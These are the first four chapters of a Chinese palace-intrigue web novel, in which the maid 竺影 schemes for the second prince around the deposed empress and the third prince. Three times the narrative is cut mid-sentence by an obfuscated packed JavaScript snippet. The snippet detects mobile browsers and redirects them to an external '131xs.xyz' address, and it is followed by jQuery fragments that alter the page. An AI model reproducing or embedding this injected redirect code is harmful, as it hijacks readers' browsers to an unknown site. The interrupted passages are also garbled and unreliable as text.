《朕不要一朵菟丝花》 1. 掌中栖雪（一） 宁朔十五年，一夕冬至。 大雪下了彻夜，晨时压塌了青松。 凛风飞雪当空，廊下传来几声啜泣，一字一句隐在落雪的簌簌声里。 宫人执伞途径此处，循声到檐下，只见一个小宦官。十五六岁的少年独自抹着眼泪，冻得瑟瑟发抖，见人来了也不抬头，活像一只雀儿，藏在檐下躲风雪。 素不相识，宫人见了还是问一句：“你这是怎么了？” 小宦官仰起头来，赶忙在外人面前抹干净脸，吸吸鼻子，还是忍不住抽噎。 宫人笑了笑，递给他一方素帕子。 小宦官接了，才开口言说。他名唤长芨，本要去往西苑送书，谁知途中滑了一跤，伤到了腿，于是耽搁在此处了。 宫人站在廊下收了伞，劝他道：“那就在此歇一会，待雪停了再走吧。” 长芨摇摇头道：“可大人还在等着。” 宫人道：“赶着去了也还是会摔的。你进宫几年了？在何处当值？上司怎么这样不近人情？” 长芨说道：“我在掖庭宫当差将近六年，多亏那里的公公为我说尽好话，才能调到秘阁*去，做些清闲差事。可谁知……谁知大人才派给我第一件差事，眼看就要搞砸了。” “原是祝大人交代的啊……”宫人若有所思。 长芨道：“宫人也认得祝大人吗？” “真是巧。”宫人淡淡叹道，“我入宫也是六年，自然听说过他的。” 长芨扶着柱子一瘸一拐站起来，忙道：“顾不得与宫人闲谈，我该走了，去得晚了回去就只得领罚了。” 说到这里，他鼻子一酸，眼看又要掉泪。 宫人笑着安慰他道：“好了好了，别着急哭。正好我要去掖庭，离那处近，这些书我顺道替你送去吧。” 长芨从袖中抬眼：“宫人说的当真吗？” 宫人道：“你回秘阁向祝大人复命便是，他是个极宽厚的人，不会责罚你的。说不定今日大人见了瑞雪高兴，还有赏赐呢。” “那就多谢宫人了。”长芨一瘸一拐站起身，朝她作揖道，“敢问宫人贵姓，我得了赏赐该到何处找你？” 她回过头，同长芨笑着道：“我姓兰，是静和宫的宫人，你叫我鸣竹就好。主子平日里待我极好，那些赏赐你自己留着，以后在宫里四处行走总用得上，不必总想着我。” 她撑着伞走进雪幕里了，小宦官在她后面喊：“姊姊早去早归。” 少年的声音被落在后头了，名唤“鸣竹”的宫人轻轻叹了口气。 她骗了那小宦官，其实她不姓兰，至于真名，姓竺名影。 趁四下无人，她取出早就准备好的信封，夹在尚书的书页间。 才从掖庭宫出来，这会又往那方向去。 这一条宫道通往掖庭的最西端，离陛下的鸿嘉殿最远，罕有人至，连扫雪的宫人都不会有。 松枝被压断，还掩在落雪里。 唯有竺影冒雪而来，朝最偏僻的那处屋宇行去，在漫长雪道上留下一行深刻的足迹。 绕过转角便是宫殿正门，蚀迹斑斑的木板门紧闭着，门上的匾额早拆了，不知是拿去做了废料还是柴火。这座废弃的宫殿在掖庭的最西边，没有名字，或许该称为西苑，只是人们习惯称此处为冷宫。 这是竺影入宫的第六年，也是陆皇后因不敬宗庙被废，三皇子自请随她移居冷宫的第七年。 许多年以前路过此处，会听到飘过高墙的歌声，如泣如诉，不成曲也不成调。 到而今的第六个严冬，这里安静极了，仿若听到了雪落的簌簌声，而封堵的高墙之内，什么也没有。 没有暖意，也没有人声。 于是她踏过枯枝败叶的声音，轻易就打破一方天地的沉寂。 “可有人在？” 竺影在门槛前站定，轻叩了几下宫门，里面即刻传来急促的脚步声。 “是医官来了吗？” “吱呀”一声，破旧的朱门支开一条缝，宫人从里头探出头来四处张望。 见了是她，羽音刚扬起的眼角又低垂下来。 竺影道：“我今日是来送书的，秘阁值守的宫人在雪地里摔伤了腿，托我代他走这一趟。” 说罢，她拨开厚重的披风，从怀里取出几册布帛包裹的书籍，捧送至羽音面前。 羽音隔着门缝接过那几卷书，苦笑着道一声：“那便多谢你了。” 回身时又丧气不已，喃喃自言道：“卯时就叫了人去请，已经这个时辰了，太医署的人怎么还不来？” 竺影随口一问：“我来时见掖庭宫里多人染了风寒，这里也有人染病了吗？” 羽音忍不住抱怨：“天寒地冻的，又被克扣炭火，怎么能不害病？” 竺影道：“太医署的人，今天兴许不会来了。” 羽音将她当成了平日里落井下石之人，转过头来嗔怪道：“你这说的是什么话？” 竺影说道：“圣上病笃，宫中有资历的太医都去了鸿嘉殿，余下的医者照例要去为后宫妃嫔诊脉，实难延请。掖庭宫里的病人尚且受冷落，此地更是偏远，大概是等到天黑也不会有人来了。” “原来是这样，我说太医署的人怎么这般怠慢呢……可是夫人她……这可怎么办才好？”羽音急得来回踱步，又上前挽住竺影的手，低声恳求道，“好姊姊，可否劳烦你去催促一下，我们这儿有人染了风寒，已病了好几天了，实是不能再拖下去了……” 竺影侧耳听她说着，虽未说是何人染病，但能让他们如此心焦的，也就只有那位陆皇后了。 如今不会再有人称她为皇后，背地里提起，也都以“冷宫那位”代称之。 羽音一边将捂得温热的玉佩往她手里塞，一边说道：“今日风雪紧，姊姊且拿上，回去喝一盅热茶。我知晓宫人心善，若换作是平时，万不会如此劳驾你。” 竺影将玉佩推了回去，婉言拒绝：“收回去吧，我亦位卑职小，即使去了太医署也是徒劳。” 宫中没几个人愿意领冷宫的苦差事，更不会有人闲来无事到这偏僻之地，平添晦气。搞不好，还会得罪了后宫其他妃嫔，落不到什么好下场。 只剩眼前这根救命稻草，羽音自是不肯轻易放弃，继而哀求：“求求你了，哪怕是去报个信，或是能代取一两副药材回来也好……” 竺影还未应答，只听冷风中传来一声呵斥，命令的口吻中掺着几丝愠怒。 “羽音，回来。” 羽音慌忙回望一眼，又不甘地看向竺影，不情不愿地撒开了手。 竺影自然清楚这声呵斥出自谁人之口，可她透过狭窄的门缝窥去，却什么也没见着。 隔着破败的门扉，竺影叹了口气，朝门内的人说道：“我所能做的，无非是去催促一声，至于太医愿不愿过来，可不敢保证。” “什么？”羽音未料到她突如其来的转变，眉眼一弯一提，欣喜道，“那便多谢宫人了！您愿意去已是极好的了。” 竺影见她喜出望外，又叮嘱：“这几册书早些为三皇子送去，月末会有人过来取。” “好，好。”羽音连连应答，旋即往院中跑去。 透风的门板隔绝了冷宫萧瑟与宫城繁华，竺影也旋踵撑着伞往回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361906|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路走，冻风凛冽刮过耳畔，低头一看，积雪没过了鞋面，又将鞋袜浸湿了，难怪冻得没知没觉。 走到后宫通往鸿嘉殿的那一段宫道，行人渐渐多了起来，不断有宫人往返两地奔忙。 除了冷宫的废后与三皇子，此刻所有的妃嫔媵嫱、王子王孙都守在鸿嘉殿。 办完了主子交代的事，竺影随即赶去鸿嘉殿复命。 行过漫长的宫道，途径两棵被压折枝干的松木，抬眼望去便是鸿嘉殿的匾额，隐在雪幕里，像是褪了色。 宫门外聚集了诸多臣子，身着齐整的鸦青色氅衣，头戴同色的风帽，卷着貂皮或银鼠皮的毛边。 他们时而叹息，时而私语切切，其中夹杂了三两声低咳，莫名突兀。 陛下邪风入体以来，已经昏迷了数个昼夜，听值夜的太医说，陛下不久前有转醒的迹象，故而此时众臣都候在鸿嘉殿外。 宫人们进进出出往偏殿添置炭炉，将一室烘烤得暖意融融。 有一人拥银狐裘，戴攒珠金冠，眉目如墨，骨重神寒，沉静坐在轩窗下，看着竺影一路从殿外走来。此刻又无言凝着一庭雪景，眼中亦有霜雪晶莹，不知在想些什么。 他是当今圣上的第二子，孟晓，字明谌。 竺影从侧门进来，绕过帷幄行至孟晓身旁，俯身同他私语：“殿下，冷宫那位已经病了多时，应是无法再耽搁了。” 孟晓不甚在意，只问她：“东西呢？” 竺影回道：“送出去了，是他身边的宫人来收的。” 孟晓道：“那便好，只是不知我那三弟……他见了信，会作何想了。” 竺影道：“他会答应的。” 孟晓笑着问她：“你怎就料定？” 竺影道：“涸辙之鲋，笼中困兽罢了，他没得选。” 孟晓轻轻点了点头，道：“你不知他从前如何蠢笨，一意孤行，只盼着他吃过了些苦头，才识时务。” 他又转头，透过窗格，去窥那些裹在鸦青套子里的大臣，顿然生了琢磨的心思。 “近两年来，父皇偏听偏信于秘书监与太史令，说不好那位祝大人是忠是佞，我更料不准父皇是明是昏了。” 储君尚未议定，一国之君却突然病笃，自陆皇后被废以来，六宫迟迟无主，眼下无一个代理朝政的人。值此局势纷淆之际，各方势力蠢蠢欲动，各怀鬼胎。 能左右朝堂政局、天下大势之人，都聚集在这鸿嘉殿了。 孟晓非但没有半分焦急，反而拉过竺影的手来，指着殿外那一幕问她：“此情此景，你觉不觉着有些好笑？” 竺影回道：“是有些可笑，只依稀记得，不久前陛下欲在北地重建观星楼，却被诸位大人百般阻拦，才被气得病倒了。殿外诸位——算得上是罪魁祸首。” 一群“罪魁祸首”当中，竺影不着痕迹地瞥了那掩口咳嗽的臣子一眼，沾雪的风帽下，只见他神情肃穆，垂目对着迎面落下的雪尘。 正是二皇子口中的祝大人，当朝秘书令，天子近臣，深得陛下爱重，宫中内侍唯独不敢怠慢了他。 孟晓提起他时，并无不恭：“倒是可怜祝大人被这群始作俑者牵连，拖着病体还得到外面守着。你去将他请进来吧，省得父皇醒了还要怪罪于我。” 竺影问道：“若是祝大人不肯进来呢？” “不肯进来便罢了，由着他去。”孟晓又递给她一块腰牌，叮嘱道：“再拿上这个，去一趟太医署，别让冷宫那位等着急了。” 竺影收起腰牌，点头应是。 殿外还下着小雪，她捧起手炉掀了帘子出去，径直走向祝从嘉。 2. 掌中栖雪（二） 见人走近，他也侧目看过来。 竺影低下头，将手炉捧至他面前，恭恭敬敬道：“祝大人，殿外风寒，二皇子请您移步至偏殿等候。” “众臣同在风雪中，没有独我一人畏寒的道理。”他轻言，推拒了这番好意。 他不曾接过的暖炉在竺影手中被握得紧了又紧，炉中新添了炭火，很烫，灼得她掌心都生了汗。 她继续道：“祝大人尚在病中，能躬身到鸿嘉殿守着已是虔诚之至。纵然忧君心切，也须得顾及己身。倘若圣上醒了怪罪下来，倒成了小人怠慢之失。” 听她这样说，鸦青氅衣下才探出一只手，接过那只绸缎包裹的手炉。 祝大人略略点头，展眉道一声“多谢”，继而漠然望着覆雪的鸿嘉殿，没再去看她。 她轻声答：“小人分内之事，大人不必言谢。” 擦肩而过时，几粒雪尘栖在他肩头，又随风坠落，委地无声。 没走出几步路，便听殿中常侍疾步上前来，众臣子都围了上去。 “陛下已醒，诸位大人可以回去了。” “什么？”众人不解，又开始嘈杂。 “陛下可好些了？” “我等还未见过陛下一面。” 尚常侍向众人作了一圈揖，后朝祝从嘉躬身一拜：“陛下召秘书令祝大人入殿中去。” 竺影只听得皇帝转醒的消息，未来得及歇息，又一路赴风蹈雪奔忙，前往太医署。几位太医刚刚从各宫为妃嫔诊脉回来，正聚在屋里拥着火炉闲聊。 这样寒冷的时节，谁都不愿意出远门，可偏偏是此时等着治病的人最多。 竺影还没踏进太医署门槛，就被人给拦住了，那人趾高气扬道：“你是哪个宫的？” 竺影取出腰牌往前一递，说道：“我是静和宫的宫人。” 那人见了“静和宫”几个阴刻描金的字，当即变得客气了起来，不仅放她进门去，还一路相随问道：“柳太医刚从宜夫人那儿回来，宫人这时前来，又是为何事？可是夫人的头痛又犯了？” 竺影道：“并非。是主子遣我来问一句，冷宫里有人请医，为何太医署无一人前去？” 这话传进屋子里，方才还闲坐着的几位太医，这会儿都散开了。一个个低头翻书，或是提着个空秤杆装模作样，再看一眼外头亮堂堂的天，睁着眼睛说瞎话：“本来是要去的，可是天色不早了，我等也刚从几位夫人那里回来，且待明日吧。” 竺影自是不信，只怕是明日复明日，一再拖延罢了。 她看向拿秤杆那一人，试探着问：“柳太医，能不能劳烦您拨冗去一趟？” 柳太医笑眯眯推辞道：“下官这会正要为宜夫人抓配药材，实在抽不开身。” 竺影又看向另一人：“那章太医呢？杜修容与容贵人近来身体安康，您现下不忙吧？” “下官正忙，你找另一个张太医去。”章太医捻着医书，一副煞有介事的样子。 张太医听了，默默拔开腿离去。 竺影咬了咬牙，从袖中掏出一枚比屋外还亮堂的金锭子，趁其不备塞到张太医手里，笑问道：“张太医，能否劳您抽空走一趟？” 那金锭子在他手中盘了几圈，好似烫手得很，反复忖度着该不该接。见同僚选择睁一只眼闭一只眼，张太医才一言不发收下，转头收拾起药箱。 竺影道一句“今日风雪紧，张太医早去早回”，便回静和宫了。 今日忙着在风雪里奔波，到宜夫人寝宫门口时，已经是掌灯时分了。宫人们正顶着寒风在外扫雪，清出行人常走的一条空道。 宜夫人的暖阁中飘出袅袅檀香，送去些微不足道的暖意。 她如常回到屋中，随手搁下纸伞，解了风帽与披风，站在门口掸落衣上的雪。转眼却瞥见个紫衫人影，正坐在座上喝茶，吓得她往后退了半步。 未曾料想原本守在鸿嘉殿的二皇子，已先她一步回来了。 他指尖轻弹杯盏，惊散茶水上的浮沫，笑看向她道：“没打招呼，吓到你了？” 竺影收起恍惚的神思，改换一副笑颜，上前说道：“殿下怎么回来得这般早？” 孟晓道：“你走后不久，父皇便醒了，只召了秘书监和中常侍到榻前，余下人都被赶了回来。” 竺影道：“倒也不算稀奇。” “谁人又晓得，鸿嘉殿的大门之后，是怎样一番局势。”他低头摩挲着瓷杯，似百思不得其解。 竺影劝道：“殚精竭虑了几日，殿下早应当好好歇息。陛下苏醒自然是好事，那些朝臣也该消了浑水摸鱼的心思。况且祝大人还什么都没说呢，冷宫那位也尚未给个明确的答复，殿下无需操之过急。” 孟晓道：“我倒是不着急。父皇亲信太史监那帮神棍，重建观星楼与立储之事，还须得问天，眼下还做不了决定。” 竺影又说道：“太医署已经派人去过冷宫了，还不知那里面是什么样的境况。” 孟晓抬手召竺影过来坐下，顺手给她添了一杯热茶。茶味清苦，他丢了些橘皮进去煮，夹杂着淡淡的柑橘香。 “倒是辛苦你，冷宫偏远，往后还要劳你时常过去。” 竺影低头道：“能为殿下排忧，谈不上辛苦。” 屡屡氤氲的热气，模糊了他似笑非笑的面容。 他在屋中拥狐裘炉火，却望着窗外的白雪，说道：“今年的雪下得这样大，冷宫的日子应该极难捱吧。” 竺影道：“无人与之取暖，自然难捱。当年陆氏余党被清算，三皇子身后已无母族，他在宫中毫无仰仗，急缺一个雪中送炭的人。殿下在此时施以援手，他断没有拒绝的道理。” 孟晓却道：“就是不知他有没有这个觉悟了。襄王、梁氏一党愈发猖狂，父皇为此辗转反侧，外祖也因此忙得焦头烂额，我就是看不惯，他孟闻凭什么还能躲在一隅，安稳度日？多一个人挡刀，何乐不为？” 竺影道：“殿下就不怕他来日与您相争吗？纵是手足也难保不会背叛，襄王殿下与您也同为手足——” 孟晓偏头扫她一眼，不以为然道：“他什么都没了，拿什么同我争？” 竺影笑了笑道：“私以为比起一个残缺之人，殿下会更忌惮曾经的中宫嫡子，原来是我会错了意。” 她口中的残缺之人，便是那跛足的襄王，大皇子孟觉。 至于三皇子，也在皇后被废后，成了废太子。 最初她以为孟晓会选择置之不理， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361907|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并期盼着那个变数悄无声息死在某个寒日里。 他面上云淡风轻，只是端茶啜饮，又道：“你不了解他。他比孟觉懦弱得多。” 竺影道：“可以后还要时常与他往来，只能从殿下这里多了解一些。” 孟晓道：“待我闲时，自会与你细说。” 他像是还有别的事要忙，饮了口茶便搁下杯盏，不再多留。 似想起什么，又回过身叮嘱：“近日襄王也在宫中，保不准要想起些新仇旧恨，要同你清算。我没法时时顾及，你还是避着他些。” “我知晓的。” 竺影同样起身，送他到门口。 他道：“听尚常侍说，父皇还在念着重修观星楼一事，过些时日还要与朝中几位大臣还要就此事商讨，兴许会再度鸡飞狗跳。我也要出宫一趟，你代我转告夫人。” 竺影点头应好，正要去拿伞相送，却被他抬手拦下。 “留你清闲一阵，记得月末的事便好。屋外冷，就不必送了。” 说罢，他便携着翻飞的狐裘一并钻入风雪之中，任冬风卷起袖袍猎猎作响，肆意独行。 风搅长空，瑞雪落千里，千楼万阙皆似白云朝。 一场雪持续到了月末，断断续续落了十几日。 竺影在月末再度前往冷宫。 这一段路并不好走，她心甘情愿几次三番前往，其实藏了一颗私心。 陆皇后因陆尚书案被废，竺影的父亲也是被此案牵连，举家流放三千里。 她本该随家人一并受迁徙之刑，到交州去，却辗转入了宫，出现在这里。 那些人不知道她的本名，长芨不知晓，孟晓也不知晓。 竺影沿着宫墙缓缓而行，仰头时，雪晴了。 白雪之下露出斑驳破碎的灰瓦，积雪化作雪水从檐角滴下，在雪地里砸出深深浅浅的坑，雪化了会更冷。 雪融声里，夹杂了窸窣的脚步声。 竺影回首，顺着滴水的屋檐望去，步子不由滞住了。 她见冷宫外有个二十出头的年轻男子，绿檀簪发，拥着件陈旧的青灰鹤氅，清清冷冷地站在青砖宫墙下，一如冬雪失色。 这是竺影第一次在宫中见到他，换作是往日，只有侍奉废后的宫人候在这里，他不会亲自来。 唯独今日不同，是孟晓在信中与他约定的日子。 也许他清楚地知道这是算计，雪中送炭的算计。 可又不得已踏入这样的圈套里。 竺影拔腿向他走去，只是面对此人，一时竟想不出一个合适的称呼。 他没有封爵，更没有自己的宫殿、府邸，是连“殿下”也称不上的。 孟闻站定等她走近，竺影拢袖俯身向他行了一礼。 他等着宫人将誊抄完的原书送来，随后问她：“你是来取书的？” “不，我是来送药的。”她如是作答。 “送药？”孟闻的目光落在她身上，陡然生出了打量的心思。 她裹着件空青夹袄，着缥碧下裙，腰上系着鹅黄围腹，是寻常宫人的打扮。而她手上真捧着一个包裹。 竺影低着头，听见他一声言辞犀利的问候：“难不成太医署的人也摔伤了腿？” 3. 掌中栖雪（三） 他不像传闻中那样温和，也不像孟晓说的那样好诓骗。 不知是不是三两年风雪欺压，让他多生出几分刻薄。 竺影回道：“是太医署的人怕摔伤了腿，才不愿出门。” 他不由哼笑，轻飘飘道了一句：“有劳。” 竺影有些气恼，索性将药包放在一旁的空地上，说道：“小人只是来此送药的，奉命行事罢了，也无需过多解释什么。信与不信，都是三皇子的事。” 孟闻瞥一眼地上的包裹，平静看着她道：“十五那日，是你在门外告知陛下病笃。” “是。”她顿在原地，不曾否认，继而说道，“陛下已经醒了，不日便会痊愈，三皇子不必忧心。” 若非她“随口一提”，这些消息根本传不到冷宫里。 他听了，不仅没多分毫的触动，反而是反问：“我何时忧心？” 好似他的每一句话都奔着止住话头去，叫竺影无法出一言以复。 料想他心中有怨恨，大抵是不在乎龙椅上的人康健与否。 “这两日的药材已经送到，若无旁的事，小人先告辞了。” 竺影不愿多留，匆匆行过一礼便慌忙退去。行走时抬脚太过匆忙，险些栽进了雪地里。 这会刚回到静和宫，宜夫人身边的贴身宫女紫裳着急来催促：“你怎么才回来？夫人今早又犯了头痛，正催你过去。” 竺影解释道：“宫道上雪厚难行，才回得迟了些，我这就过去。” 紫裳又问：“你今日去了哪里呀？” 竺影道：“掖庭，二殿下差我去送些东西。” 紫裳道：“快些过去吧，夫人等你多时了。” 宜夫人，乃是尚书令陈柯之女，名素清。她是二皇子生母，仗着一副好姿容与背后的家族，颇得圣眷，多年以来盛宠不衰。 自十月以来，暖阁中的炭火整日不息，一室暖意，与门外的冰天雪地俨然两个世界。 竺影进了门便同她行礼，毕恭毕敬唤了一声“夫人。” 香烟从金炉缝隙中喷薄而出，燎得人睁不开眼。 贵妃榻上的宫装妇人轻阖着眼，没有应声。 兴许是睡着了，亦或是存心想让她跪着，竺影没有再唤第二声。 二皇子也正是这时回宫，前来给夫人问安。 他进门看了竺影一眼，便对着宜夫人道：“鸣竹犯了何事？母亲为何让她跪着？” 宜夫人这才不急不缓睁开眼，困顿地直起身来，笑道：“方才吃了副安神的药，睡过去了”她又转看向竺影，“你这孩子，怎么进了门也不出声？快快起来吧。” 竺影终于松了一口气，替宜夫人解释说：“小人也才刚来，怕惊扰夫人好眠不敢作声。” 宜夫人道：“下次再这般，你多叫我几声，我便醒了。” 竺影轻轻应了一声，上前为宜夫人掖好膝上的绒毯，又问道：“柳太医今日来看过，夫人现下可还头疼？小人为您将这些熏香都换成艾熏可好？若不得缓解，便再请太医来一趟。” 宜夫人稍稍抬手示意，算是应允了。 竺影轻手轻脚撤去香炉，待屋中烟气散去之后，才熏上艾香。 二皇子刚从外廷回来，此刻坐在香案一侧不说话，似乎心情不大好。 不多久，宜夫人主动问起他：“近日你父皇醒来，召你去鸿嘉殿，可有说了什么？” 孟晓回道：“他问昏迷这些时日外廷与后宫发生了哪些事，说些无关紧要的事罢了。不过经他病了一场，那些大臣也不敢拦着观星楼重建一事了。” “观星楼……”宜夫人听了忍不住发笑，“许多年以前的事了，他如今念及，是要重叙旧情么？” “什么旧情？”孟晓听得云里雾里，他那时尚年幼，对这些旧事不甚了解。 宜夫人缓缓道来：“从前世人道皇帝与冷宫那位夫妻情深，陛下曾许诺云琅城观星楼落成之时，会与那位携手登高楼，同为万民祈福。陛下对这事很是看重，任命陆氏的人亲自督促建造，于是一座高楼修了足足四年之久。”说到这儿，她忍不住讥笑，“可熟料天意弄人，观星楼刚刚落成就起了大火，还真是——天也不容。” 竺影在一旁默默听着，她只知家乡当年多出这么一座高楼，是天子为天下百姓祈福禳灾而建，今日才知背后藏了这么一段秘辛。 孟晓听完，也只是干笑一两声，道：“原来如此。” 宜夫人道：“昔年陆氏的荣耀由此得，也因此失，安知是福是祸呢？所以母亲劝你，勿要插手这事了。成与不成，早晚都会引得他不悦。你父皇这人呐——最是多变。” 孟晓垂眸道：“多谢母亲提醒，儿知晓分寸。” 宜夫人又一手扶额倚在榻上，深叹了口气道：“我今日有些头疼，想歇息片刻，你且回去吧。” 明谌上前接过竺影手中的丝扇，轻轻扇走熏炉上的烟气。 他道：“该叫那些侍奉的宫人再仔细些，进出时掩好窗牖，及时添炭，莫让母亲再吹风受凉了。” 宜夫人阖着眼道：“经年的旧毛病了，冬月里难免犯上一两回，等到开春自然就好了。” 她又唤了一声：“鸣竹。” 竺影应声道：“小人在。” 宜夫人吩咐道：“二皇子今日奔波劳碌，你领他回去，侍奉他早些休息。” 竺影抬头看了孟晓一眼，缓缓应了声：“是。” 孟晓起身向宜夫人辞行：“儿先回去了，母亲也少些忧劳。” 宜夫人点头道：“嗯，去吧。” 方一踏出暖阁，呼啸而过的北风猛然灌进衣襟与袖口，冻得人浑身僵直。 竺影掩好了门，亦步亦趋跟上孟晓。 回停雪轩的路上，他边走边问：“今日的事办得如何？” 她面露难色，先是摇头。 孟晓道：“他没答应吗？” 竺影道：“答应了，我见到他了。奈何他信不过我，又或者说，他不相信任何人。” “这倒好办。”孟晓提醒她道，“你与栖梧宫的那位旧友，已经许久没见过面了吧？” 竺影道：“殿下的意思是？” 孟晓道：“若有近水楼台，便会好办得多，想办法露出些许与陆氏有关的蛛丝马迹，他自会上赶着同你扯上关系。” 她默了片刻，暗自忖度一番：“我知晓该如何做了。” 栖梧宫有一宫人，旧名陆芃，今名唤醒枝，是已故陆尚书之女，也是陆皇后的侄女。 竺影与她早在入宫前就相识，后也因同一场灾祸相继获罪入宫。 起初也曾互相依偎，在这深宫之中求存，后来竺影另寻了庇护，静和宫与栖梧宫的两位主子向来不对付，两人也就渐行渐远了。 得孟晓授意，趁着翌日雪晴，竺影一早便往栖梧宫。 陆芃刚从杜修容的寝宫回来，于茫茫雪道中见了她，颇感意外。 她是这个冬日里的不速之客，陆芃待她迎面走来，其实算不上欢迎。 “你怎么会过来？” 竺影道：“得闲了，来见一见你。” 陆芃四下张望，见庭中无人，才道：“正好与我同住的宫人还没有回来，进屋吧，我给你煮些热茶。” 竺影轻声道好，随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361908|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她进屋。屋内没生炭火，全靠紧闭的门窗困住一丝暖气。 她叫竺影帮忙生炭火，自己则翻箱倒柜去寻茶叶，找来找去，也只找到一些陈年的碎茶，轻轻一捏就碎成了渣滓。 茶炉里的炭火通明，融化的雪水也沸腾起来，她飞快把茶叶倒进炉子里，低眉等待茶香蔓延的过程中，通红的面上透着窘迫。 竺影还没开口，她先自嘲道：“来来去去还是混成这样，让你见笑了。” 竺影道：“杜修容素来节俭，今年国库里拿不出钱，她应当往里添了不少吧。缩减了宫里开支，留给宫人的赏赐自然也少了。” 陆芃道：“我本以为一整个冬日见不到你的。” 竺影笑道：“今年暖和些，夫人的头疼没怎么犯过。后来鸿嘉殿也出了事，她便顾不上搓磨我。” 陆芃道：“原来是这样，我也听说了。” 她指节冻得通红，给竺影递上杯盏时还在微微发颤。 竺影捧起瓷杯，一股苦涩之气萦绕在鼻尖挥之不去，与某个人身上的气息像极了。 她有意提起：“不久前我去了一趟西苑。” 茶杯刚送到嘴边，还没抿上一口，陆芃却倾身上前，一把握住她的手腕。 “那我姑母……姑母她如何了？” “那时她染了风寒，拖了许久，一直请不到太医。她身边的婢子求我去太医署帮忙催促，我便顺路走了一遭。”竺影从袖中取出一张药方展开放在案上，“这是太医署给她开的药。” 陆芃问：“你如何弄得到这个？” 竺影道：“太医问诊皆记录在案，为宜夫人取药时，这医案就放在一旁，我匆忙看过几眼记下来了。” 陆芃并不怀疑竺影的说辞，只是盯着药方上写下的一味又一味药材，不由皱起了眉头。 药方上全是寻常滋补的药材，乍一看揪不到任何错处。 可太医署的人本就时时怠慢，又怎会闲来无事给冷宫的废后开一些进补的药方呢？何况这些药材对治疗风寒无甚裨益。 除非是太医得了别人授意，不敢治好她，亦或是治不好她。 于是这张中规中矩的方子便成了退路。 陆芃握住竺影的手，说道：“阿影，你一定有办法能帮她的对不对？不然你不会来找我。” 竺影道：“可你知道外面的人进不去，纵我亲自去了，西苑的人也未必会信我。” “你等一等。”陆芃起身到架前取来纸笔，就着茶案的一角写下一张香方。 陆芃道：“这是姑母教我调的香，你照上面的法子制成香囊，姑母她一定记得。” 墨迹阴干的间歇，她又从柜中取出一个陶罐，用蜡封上了口。 竺影问她：“这又是什么？” 陆芃道：“山黄皮，拢共就剩下这些，我没舍得吃，你替我送去给她吧。” 竺影道：“将这些送去，她能知道是你吗？” “不，你别说是我。”陆芃心有顾忌，此刻摇着头道，“你也看到了，我并没有比她好过到哪里去。别让她知道我，别让她为我担心。” “好。”竺影点头应下，要离去时，见杯中茶一口也没动，客人如此，到底对主人不恭。正要端起杯子却被她拦下了。 “怎么？”竺影放下那杯浑浊的茶水，茶叶渣还在杯底沉淀着。 抬眼看去，听陆芃奚落自己：“茶一句凉了，就别喝了吧，反正也不是什么好茶。” 她就是这样拧巴的怪人。 末了，也没喝上她一口茶。 竺影收起香方与陶罐，只撇下一句“走了”，没再多留。 4. 掌中栖雪（四） 冬节将至，掖庭的宫人提前一月就开始忙碌，节庆前几乎是脚不沾地。独冷宫例外，热闹不会蔓延到那里。 竺影来时没有下雪，那人还如上次一样，立在西苑的青砖墙下，望着砍伐过的枝柯出神，貌似在等什么人。 直到竺影走过去，他的目光也落了过来。 她还是和上次一样的打扮，怀揣些东西，腰间佩一只鹅黄香囊。 悄促促似鬼使神差，她上前几步，唤了一声“殿下”。 孟闻也没说起其他，直接同她道：“随我进来吧。” 竺影不作询问，默默跟随他踏入冷宫的门槛。 平日里为了聚起暖气，冷宫的正门总是紧闭着，此时却为她敞开。 腥苦的药味攀上鼻尖，这是她头一回完整地窥见这方天地。 偏僻幽深，东风不至。 庭院里打扫得极干净，檐下没有积雪，也没有杂草。西苑除了陈旧些，似与掖庭宫的居所没什么不同。 院子正中有颗高大的棠梨树，有个宫人正在拾树下的枯枝做柴火，抱薪往厨房去，另一个坐在廊下，借着天光往冬衣夹层里填上丝绵，又细细缝上。她们都是当年一道随废后来此的。见来了生人，好奇瞥上一眼，又自顾自忙活。 孟闻领着竺影进屋，随口叮嘱：“不必关门。” 屋中敞亮，四面透光也透风，很冷。陈设不过一席一方书案，应当是他的书房。 竺影望着他清减的身姿，极想知道在这样的陋室，能养出一个什么样的皇子来。 孟闻转过身来看她，问起：“药是你换的？” 竺影故作不懂，问：“什么药？药是张太医开的，小人只是代为送达。” 孟闻道：“两天前送来的药，加了些别的药材。麻黄与苦杏仁过量则有毒，太医署的人，他们不敢用这些药。” 他不带责问地打量，一字一句，轻飘飘揭过了她的谎。 诚然，他自幼在深宫里长大，那群医官是什么德行，他比竺影清楚。 竺影问道：“那么这药会否比太医开出的补药效果好些？” 他不答，又问：“你通药理？” 